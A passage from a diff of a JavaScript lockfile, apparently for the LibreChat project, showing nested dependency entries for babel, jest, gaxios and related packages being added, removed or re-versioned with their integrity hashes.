- "eslint/@eslint/eslintrc/globals": ["globals@14.0.0", "", {}, "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ=="],
-
- "expect/jest-message-util/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
"expect/jest-message-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
"expect/jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "expect/jest-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
-
- "expect/jest-util/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
-
- "expect/jest-util/ci-info": ["ci-info@3.9.0", "", {}, "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ=="],
-
- "expect/jest-util/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
-
"express-session/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="],
"express-static-gzip/serve-static/send": ["send@0.19.0", "", { "dependencies": { "debug": "2.6.9", "depd": "2.0.0", "destroy": "1.2.0", "encodeurl": "~1.0.2", "escape-html": "~1.0.3", "etag": "~1.8.1", "fresh": "0.5.2", "http-errors": "2.0.0", "mime": "1.6.0", "ms": "2.1.3", "on-finished": "2.4.1", "range-parser": "~1.2.1", "statuses": "2.0.1" } }, "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw=="],
@@ -7941,16 +7287,16 @@
"form-data/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
- "gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
+ "gaxios/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
- "gaxios/https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "gcp-metadata/gaxios/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="],
-
- "glob/minimatch/brace-expansion": ["brace-expansion@5.0.4", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg=="],
+ "google-auth-library/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
"google-auth-library/gcp-metadata/google-logging-utils": ["google-logging-utils@0.0.2", "", {}, "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ=="],
+ "googleapis-common/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
+
+ "gtoken/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
+
"hast-util-from-html-isomorphic/@types/hast/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
"hast-util-from-html/@types/hast/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
@@ -7971,26 +7317,6 @@
"hastscript/@types/hast/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
- "istanbul-lib-instrument/@babel/core/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "istanbul-lib-instrument/@babel/core/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "istanbul-lib-instrument/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="],
-
- "istanbul-lib-instrument/@babel/core/@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="],
-
- "istanbul-lib-instrument/@babel/core/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "istanbul-lib-instrument/@babel/core/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "istanbul-lib-instrument/@babel/core/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "istanbul-lib-instrument/@babel/core/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "istanbul-lib-instrument/@babel/core/semver": ["semver@6.3.1", "", { "bin": "bin/semver.js" }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="],
-
- "istanbul-lib-instrument/@babel/parser/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
"istanbul-lib-report/make-dir/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"istanbul-lib-report/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
@@ -8007,32 +7333,10 @@
"jest-changed-files/execa/strip-final-newline": ["strip-final-newline@2.0.0", "", {}, "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA=="],
- "jest-circus/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
"jest-circus/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "jest-config/@babel/core/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "jest-config/@babel/core/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "jest-config/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="],
-
- "jest-config/@babel/core/@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="],
-
- "jest-config/@babel/core/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "jest-config/@babel/core/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "jest-config/@babel/core/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "jest-config/@babel/core/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "jest-config/@babel/core/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"jest-config/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
- "jest-config/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
-
"jest-config/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
"jest-config/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
@@ -8041,60 +7345,30 @@
"jest-each/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "jest-environment-jsdom/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "jest-environment-node/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "jest-haste-map/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "jest-environment-node/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
"jest-leak-detector/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
"jest-message-util/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "jest-mock/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "jest-mock/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
- "jest-runner/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "jest-runtime/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "jest-runtime/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
"jest-runtime/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
- "jest-runtime/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
-
"jest-runtime/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
- "jest-snapshot/@babel/core/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "jest-snapshot/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="],
-
- "jest-snapshot/@babel/core/@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="],
-
- "jest-snapshot/@babel/core/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "jest-snapshot/@babel/core/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "jest-snapshot/@babel/core/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "jest-snapshot/@babel/core/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "jest-snapshot/@babel/core/semver": ["semver@6.3.1", "", { "bin": "bin/semver.js" }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="],
-
- "jest-snapshot/@babel/generator/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "jest-snapshot/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
+ "jest-snapshot/expect/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
"jest-snapshot/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
"jest-snapshot/synckit/@pkgr/core": ["@pkgr/core@0.2.9", "", {}, "sha512-QNqXyfVS2wm9hweSYD2O7F0G06uurj9kZ96TRQE5Y9hU7+tgdZwIkbAKc5Ocy1HxEY2kuDQa6cQ1WRs/O5LFKA=="],
- "jest-util/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "jest-util/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
"jest-validate/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "jest-watcher/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "jest-worker/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
"jest-worker/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
"jsdom/whatwg-url/tr46": ["tr46@5.1.1", "", { "dependencies": { "punycode": "^2.3.1" } }, "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw=="],
@@ -8103,6 +7377,138 @@
"jwks-rsa/@types/express/@types/express-serve-static-core": ["@types/express-serve-static-core@4.19.6", "", { "dependencies": { "@types/node": "*", "@types/qs": "*", "@types/range-parser": "*", "@types/send": "*" } }, "sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A=="],
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="],
+
